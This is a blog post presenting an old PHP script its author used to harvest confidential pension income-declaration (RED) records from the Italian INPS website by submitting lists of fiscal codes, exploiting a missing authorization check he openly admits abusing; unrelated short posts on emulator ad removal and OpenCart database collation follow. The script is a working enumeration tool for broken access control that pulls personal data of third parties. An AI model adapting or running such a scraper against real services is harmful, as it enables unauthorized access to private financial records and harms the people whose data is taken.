Skip to main content

old script - retrieve confidential data from INPS about RED

An old php script that I used to retrieve informations about the RED (dichiarazione reddituale per pensionati) for each Fiscal Code.
INPS never checked the authorizations on the url to request the data and I used this, and several other, bug to work in a faster way ...
The url doesn't work anymore and the script is damn old that nobody will care about it.



<?php

$inputfile = 'codici.txt';
$outputfile = 'RED.txt';
$host = 'www.inps.it';
$path = '/servizi/redest/Frm_MatricolaIpost.aspx';

$method = 'POST';

//$host = 'www.google.it';

$postdata = '&Stampa=Esegui&F00=';

//reading codici fiscali from file
$arrcodicifiscali = getcodicifiscali($inputfile);




foreach($arrcodicifiscali as $codice)
{
    //getting the page
    $resdata = httpSocketConnection($host, 'GET', $path, '');
    $viewstatedata = '';
$regu = $resdata[1];

    if( preg_match( '#name="__VIEWSTATE" value="(.*?)"#', $resdata[1], $matches) )
    {
        $viewstatedata = $matches[1];
    }
//print_r($viewstatedata);exit;

//post data with the code
$postdatacf = $postdata . $codice;

//we need to set the VIEWSTATE
//$postdatacf = '__VIEWSTATE=' . $viewstatedata . $postdatacf;
//echo $postdatacf; exit;
$resdata = httpSocketConnection($host,$method,$path,$postdatacf);
echo $postdatacf . '';
echo '<pre>' . $regu . '</pre>';
echo '<pre>' . $resdata[1]. '</pre>'; exit();
}

//$resdata = httpSocketConnection($host,$method,$path,$postdata);
//file_put_contents($outputfile,$resdata);

echo 'ok';





//////////////////////////////////

function getcodicifiscali($inputfile)
{
    $codicifiscali = array();
   
    $handle = @fopen( $inputfile, 'r');
    if(!$handle) {
        echo 'cannot read the input file';
        exit();
    }
   
    //while there's no end of file
        while (feof($handle) === false) {
            $buffer = fgets($handle, 4096);
            $buffer = str_replace("\r",'', $buffer);
            $buffer = str_replace("\n",'', $buffer);
            $codicifiscali[] = $buffer;
        }
        fclose($handle);

    return $codicifiscali;
}



function httpSocketConnection($host, $method, $path = '', $data = '')
        {
            $method = strtoupper($method);      
          
            if (($method == "GET") && ($data != ''))
            {
                $path.= '?'.$data;
            }  
          
            $filePointer = fsockopen($host, 80, $errorNumber, $errorString);
          
            if (!$filePointer)
            {
                throw new Exception("Error $errorNumber $errorString");
            }
  
            $requestHeader = $method." ".$path."  HTTP/1.1\r\n";
            $requestHeader.= "Host: ".$host."\r\n";
            $requestHeader.= "User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
            $requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n";
  
            if ($method == "POST")
            {
                $requestHeader.= "Content-Length: ".strlen($data)."\r\n";
            }
          
            $requestHeader.= "Connection: close\r\n\r\n";
          
            if ($method == "POST")
            {
                $requestHeader.= $data;
            }          
  
            fwrite($filePointer, $requestHeader);
          
            $responseHeader = '';
            $responseContent = '';
  
            do
            {
                $responseHeader.= fread($filePointer, 1);
            }
            while (!preg_match('/\\r\\n\\r\\n$/', $responseHeader));
          
          
            if (!strstr($responseHeader, "Transfer-Encoding: chunked"))
            {
                while (!feof($filePointer))
                {
                    $responseContent.= fgets($filePointer, 128);
                }
            }
            else
            {
  
                while ($chunk_length = hexdec(fgets($filePointer)))
                {
                    $responseContentChunk = '';
              
                  
                    $read_length = 0;
                  
                    while ($read_length < $chunk_length)
                    {
                        $responseContentChunk .= fread($filePointer, $chunk_length - $read_length);
                        $read_length = strlen($responseContentChunk);
                    }
  
                    $responseContent.= $responseContentChunk;
                  
                    fgets($filePointer);
                  
                }
              
            }
  
            //cleaning the last parts
            $responseHeader = chop($responseHeader);
            $responseContent = chop($responseContent);
           
            $statuscode = getstatuscode($responseHeader);
            switch($statuscode)
            {
                case '302':
                //--todo-- add the autofollow true/false
                    $path = '';
                    httpSocketConnection($host, $method, $path, $data);
                break;
                default:
                break;
            }
           
            return array($responseHeader, $responseContent);

        }

function getstatuscode($myheaders)
{
    //if we have the raw headers we convert them to an array
    if(is_array($myheaders) === false)
    {
        $myheaders = str_replace("\r", '',$myheaders);
        //splitting into an array
        $myheaders = split("\n", $myheaders);
    }
   
    //checking the first line with the status code
    //ex. HTTP/1.1 301 Moved Permanently
    if ( preg_match('#HTTP/\d{1}\.\d{1} (\d{3}) .*#', $myheaders[0], $matches) )
    {
        //returning the status code
        return $matches[1];
    }
    //return false for any error
    return false;
   
}


function cookieJar($myheaders)
{
/*
Date: Thu, 30 Jul 2009 16:41:36 GMT
Server: Microsoft-IIS/6.0
P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
S:: 04
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Pragma: no-cache
Location: http://it.msn.com/
Set-Cookie: MC1=V=3&GUID=351aadd02c2c4c6a943829592de783dd; domain=.msn.it; expires=Mon, 04-Oct-2021 11:00:00 GMT; path=/
Cache-Control: no-cache
Content-Length: 0
*/

//if we have the raw headers we convert them to an array
if(is_array($myheaders) === false)
{
    $myheaders = str_replace("\r", '',$myheaders);
    $myheaders = split("\n", $myheaders);
}

$MycookieJar = array();


while ($line = trim(array_shift($myheaders))) {
    list($header, $value) = explode(':', $line, 2);
   
    if ( $header == 'Set-Cookie' || $header == 'set-cookie2' ) {

        // v2 cookies
        if ($header == 'set-cookie2')
        {
            $cookies = explode(',', $value);
        } else {
            $cookies = array($value);
        }       

        foreach ($cookies as $cookie)
        {
            $cookie = explode(';', $cookie);
            foreach ($cookie as $pos => $val)
                {
                    $val = explode('=', $val, 2);
                    $val[1] = trim(@$val[1]);
                    $MycookieJar[] = $val;
                }
        }
        }
}
return $MycookieJar;
//echo $myheaders . "\r\n";
//print_r($MycookieJar);exit;
}
?>

Comments

Popular posts from this blog

2022 - Remove (the too many) Ads from Memu launcher

Simple method Download from pureapk "MEmu Launcher2" ex: MEmu Launcher2_v6.0.9_apkpure.com Install "System app remover" (root) remove from system apps the "memu launcher 2" import the "purified" MEmu Launcher2 apk with the Memu utility ("apk" on the right toolbar) Longer method Install "Export Apk" Export the memu launcher2  Install purify https://github.com/echo-devim/purify/raw/master/Purify.apk use purify with the exported memu launcher 2 Install "System app remover" (root) remove from system apps the "memu launcher 2" import the "purified" MEmu Launcher2 apk with the Memu utility ("apk" on the right toolbar)      

Database Collation when installing Opencart 3.x, 4.x

  To avoid several problems the database collation for opencart should be as follows: - for Opencart 4.0.1.1 and above it should be " utf8mb4_general_ci " - for Opencart 1.5.51 (Opencart  2.x, Opencart 3.x ) up to Opencart 4.0.1.0 the collation should be " utf8_general_ci " - for Opencart 1.4.1 up to Opencart 1.5.4.1 the collation should be " utf8_bin " - for Opencart <1.1.1 up to Opencart 1.4.0 the collation should be " utf8_unicode_ci " If you are using the latest version of mysql always use " utf8mb4_general_ci ". Never use UTF8mb3*